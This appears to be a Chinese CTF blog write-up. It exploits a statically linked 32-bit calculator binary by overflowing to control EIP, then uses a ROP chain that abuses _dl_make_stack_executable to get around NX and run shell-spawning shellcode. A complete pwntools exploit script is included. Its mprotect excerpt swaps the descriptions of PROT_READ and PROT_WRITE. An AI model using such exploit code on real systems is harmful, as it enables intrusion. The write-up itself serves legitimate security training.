0.什么是静态编译 or 动态编译

​ 动态编译的可执行文件需要附带一个的动态链接库,在执行时,需要调用其对应动态链接库中的命令。所以其优点一方面是缩小了执行文件本身的体积,另一方面是加快了编译速度,节省了系统资源。缺点一是哪怕是很简单的程序,只用到了链接库中的一两条命令,也需要附带一个相对庞大的链接库;二是如果其他计算机上没有安装对应的运行库,则用动态编译的可执行文件就不能运行。

​ 静态编译就是编译器在编译可执行文件的时候,将可执行文件需要调用的对应动态链接库(.so)中的部分提取出来,链接到可执行文件中去,使可执行文件在运行的时候不依赖于动态链接库。所以其优缺点与动态编译的可执行文件正好互补。

​ 那么也就是说,我们在Pwn中经常使用的ret2libc只能针对于动态编译的程序,那么当我们遇到静态编译的程序应该怎么办呢?接下来我们以一个现有的题目为例

1.劫持EIP

首先查程序信息

mark

32位有NX,分析程序可以看出程序逻辑很简单,就是实现了一个简单的计算器~

首先读入计算次数n

mark

随后在堆上申请一块大小为4n的内存空间用于存放每次的执行结果,该内存空间的首地址会被返回至v7变量

mark

执行n次循环,每轮循环读入一个操作类型

mark

然后执行,并将结果存放在*(v7+offset)中,其中offset每轮循环偏移4

mark

当我们选择Save the result时,v7指向的内容会被拷贝至栈上,此时注意拷贝的长度是4n

mark

并且拷贝地址相对于EBP的偏移固定!

mark

经过调试发现我们只需要提交16次计算,再提交一次Save the result就可以覆盖到返回地址进而控制EIP!

控制EIP的部分EXP:

def send_address(fake_address):
    sh.recvuntil("5 Save the result")
    sh.sendline('3')
    sh.recvuntil("input the integer x:")
    sh.sendline('1')
    sh.recvuntil("input the integer y:")
    sh.sendline(str(fake_address))

sh.recvuntil("How many times do you want to calculate:")
sh.sendline('18')
for i in range(16):
    send_address(0)
send_address() # 返回地址
sh.recvuntil("5 Save the result")
sh.sendline('5')

2.ROP链构造

一般的动态链接题目这里就要尝试构造形如elf.plt['puts']+main_addr+elf.got['puts']的ROP链来泄露并计算lbc基址了

但这个题是静态编译文件,不存在libc加载过程,那么就考虑使用ret2shellcode来攻击

但是本题又开启了NX保护,调试发现

mark

整个堆段和栈段都没有执行权限

但是我们在使用readelf -s pwn2 | grep exec后发现

mark

程序中存在关键函数_dl_make_stack_executable

mark

发现可以改变权限的函数mprotect,我们先看一下这个函数的原型

#include <unistd.h>
#include <sys/mmap.h>
int mprotect(const void *start, size_t len, int prot);
mprotect()函数把自start开始的、长度为len的内存区的保护属性修改为prot指定的值。
prot可以取以下几个值,并且可以用“|”将几个属性合起来使用(值则相加):
1)PROT_READ:表示内存段内的内容可写;(值为1)
2)PROT_WRITE:表示内存段内的内容可读;(值为2)
3)PROT_EXEC:表示内存段中的内容可执行;(值为4)
4)PROT_NONE:表示内存段中的内容根本没法访问。(值为0)
需要指出的是,指定的内存区间必须包含整个内存页(4K)。区间开始的地址start必须是一个内存页的起始地址,并且区间长度len必须是页大小的整数倍。
如果执行成功,则返回0;如果执行失败,则返回-1,并且设置errno变量,说明具体因为什么原因造成调用失败。错误的原因主要有以下几个:
1)EACCES
该内存不能设置为相应权限。这是可能发生的,比如,如果你 mmap(2) 映射一个文件为只读的,接着使用 mprotect() 标志为 PROT_WRITE。
2)EINVAL
start 不是一个有效的指针,指向的不是某个内存页的开头。
3)ENOMEM
内核内部的结构体无法分配。
4)ENOMEM
进程的地址空间在区间 [start, start+len] 范围内是无效,或者有一个或多个内存页没有映射。 
如果调用进程内存访问行为侵犯了这些设置的保护属性,内核会为该进程产生 SIGSEGV (Segmentation fault,段错误)信号,并且终止该进程。

那么我们接下来可以构造这个函数的ROP。

首先我们肯定是想要使用mprotect(Start_address, Length, PROT_READ|PROT_WRITE|PROT_EXEC)的形式

然后我们可以借助_dl_make_stack_executable来实现

mark

2.1 改写 _stack_prot

首先,我们需要先设置EAX的值为0x7

mark

send_address(0x080bb406) # pop eax;ret;
send_address(0x7)

然后设置EBX的值为_stack_prot的地址

mark

mark

send_address(0x0806ed0a) # pop edx;ret;
send_address(0x080E9FEC)

然后利用mov指令把eax的值写入edx,也就是会将0x7写入_stack_prot

send_address(0x080a1dad) # mov dword [edx],eax;ret;

2.2 调用 _dl_make_stack_executable

首先,我们需要先设置EAX的值为libc_stack_end

mark

mark

send_address(0x080bb406) # pop eax;ret;
send_address(0x080E9FC4)

然后设置接下来的返回值为_dl_make_stack_executable的地址

mark

send_address(0x080A2480)

2.3 跳转shellcode

最后直接跳转到esp执行shellcode

mark

send_address(0x080c09c3)

2.4 填充shellcode

shellcode生成方法如下

def conv_scode():
    shellcode = asm(shellcraft.sh())
    pad = (int(math.ceil(len(shellcode)/4.0))*4) - len(shellcode)
    for i in range(0, pad):
        shellcode += '\x00'
    n = len(shellcode)/4
    return struct.unpack('<' + 'I'*n, shellcode)
shellcode = conv_scode()

shellcode发送方法如下

for scode in shellcode:
    send_address(scode)

3.最终EXP

from pwn import *
import sys
import math
import struct
context.log_level='debug'
# context.arch='amd64'

pwn2=ELF("./pwn2")
# libc=ELF("./")
# ELF("/lib/x86_64-linux-gnu/libc.so.6")
if args['REMOTE']:
    sh = remote(sys.argv[1], sys.argv[2])
else:
    sh = process("./pwn2")

def send_address(fake_address):
    sh.recvuntil("5 Save the result")
    sh.sendline('3')
    sh.recvuntil("input the integer x:")
    sh.sendline('1')
    sh.recvuntil("input the integer y:")
    sh.sendline(str(fake_address))

def conv_scode():
    shellcode = asm(shellcraft.sh())
    pad = (int(math.ceil(len(shellcode)/4.0))*4) - len(shellcode)
    for i in range(0, pad):
        shellcode += '\x00'
    n = len(shellcode)/4
    return struct.unpack('<' + 'I'*n, shellcode)

sh.recvuntil("How many times do you want to calculate:")
sh.sendline('255')
for i in range(16):
    send_address(0)
send_address(0x080bb406) 
send_address(0x7)
send_address(0x0806ed0a)
send_address(0x080E9FEC)
send_address(0x080a1dad) 
send_address(0x080bb406)
send_address(0x080E9FC4)
send_address(0x080A2480)
send_address(0x080c09c3)
shellcode = conv_scode()
for scode in shellcode:
    send_address(scode)
sh.recvuntil("5 Save the result")
sh.sendline('5')
sh.interactive()

4.思考

查阅了一些资料,对于静态编译的程序,貌似都是采用mprotect破除NX保护然后mmap分配空间写shellcode然后跳过去执行。。。。貌似还没见到更复杂的情况。。。遇到了再说吧。。。。

5.参考资料

静态编译与动态编译的区别

知识共享许可协议
本作品采用知识共享署名-非商业性使用-相同方式共享 4.0 国际许可协议进行许可。

分类: CTF

0 条评论

发表评论

电子邮件地址不会被公开。 必填项已用*标注